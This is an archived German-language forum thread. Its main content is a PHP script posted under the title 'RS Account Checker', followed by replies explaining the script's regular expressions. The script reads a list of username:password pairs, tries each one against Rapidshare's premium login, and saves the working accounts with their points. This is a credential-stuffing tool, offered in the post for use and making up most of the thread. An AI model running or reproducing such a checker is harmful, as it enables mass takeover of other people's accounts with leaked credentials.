PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : RS Account Checker



-=Player=-
10.12.2008, 18:39
copyright by babyrusher


<?

print "\n===========================================\n";

print "== Rapidshare.com account list checker ==\n";

print "== help: ==\n";

print "== php checker.php pw:userfile savefile ==\n";

print "== example: ==\n";

print "== php checker.php list.txt log.txt ==\n";

print "===========================================\n";

print "== copyright by babyrusher ==\n";

print "===========================================\n\n";



// Curl function that connects to RS

function curl_file_get_contents($url) {

$ch = curl_init();

curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

curl_setopt($ch,CURLOPT_URL,$url); // the url of the site

curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); //needed for ssl (httpS://)

$ret = curl_exec($ch);

curl_close($ch);

return($ret);

}



$file = $argv[1]; // Argument for the list with the users

$log = $argv[2]; // Argument for the list where the vaild accounts logged



if($file == "" || $log == ""){ // check the two arguments

print "* Please enter an userfile file and an savefile";

exit;

}



$fp = fopen ($file, "r"); // opens the userlist

$zeilen=count(file($file)); // counts the lines in the userfile



for ($i="0";$i<$zeilen;$i++){ // loop

$line = trim(fgets ($fp,100)); //trim and get the content of the line

preg_match('%(.*):(.*)%', $line, $user); // regulary expression which saves the user and the password in the $user array



$url = "https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi?login=".urlencode($user[1])."&password=".urlencode($user[2]); //the Rapidshare url

$content = curl_file_get_contents($url); // calls the function and copy the source of $url



if( preg_match('%Your Premium-Account is valid until%', $content) ){ // checks if the account is valid

preg_match('%You have collected (.*)%', $content, $points); // regulary expression that find the points

print("Valid !!! Points - USER: $user[1] PW: $user[2] ".$points[1]."\n"); // print the valid account

$datei = fopen($log,"a+"); // opens the log file

fwrite($datei, $user[1].":".$user[2]." - " .$points[1]. " Points\n",150); // write the valid account in the logfile

fclose($datei); // close the log file





}

else{ // if the account is invalid

print("Invalid !!! USER: $user[1] PW: $user[2] :\n"); // print the invalid account

}



}



fclose ($fp); // close the userfile



// greetz

// (c) babyrusher

?>

juRiii
21.12.2008, 02:01
n1 script ;)

ne frage, wen das script über die function curl_file_get_contents mit RS verbunden ist. dan nimmt er z.b. die variable $points von RS? und wie findet man den dan die variable raus?

blackapple
21.12.2008, 02:05
die var $points holte er mit der funktion preg_match()

preg_match('%You have collected (.*)%', $content, $points); // regulary expression that find the points
das is ein suchmuster und das ergebniss wir in der var $points gespeichert
wenn du mehr wissen willst http://php.net/preg_match und/oder google -> regex

juRiii
21.12.2008, 02:13
ich habs jetzt so verstanden, das im quelltext z.b. "You have collected 1000" steht.

es wird dan einfach nach You have collected (.*) gesucht, und (.*) steht dan für den inhalt der dazwischen liegt? oder irre ich mich da?

blackapple
21.12.2008, 02:42
genau^^
. steht für ein beliebiges zeichen und * keine oder beliebig viele vorkommnisse vom vorhergeheden zeichen
wobei man eig noch ein ? dranhängen sollte um die "gier" zu unterdrücken ;)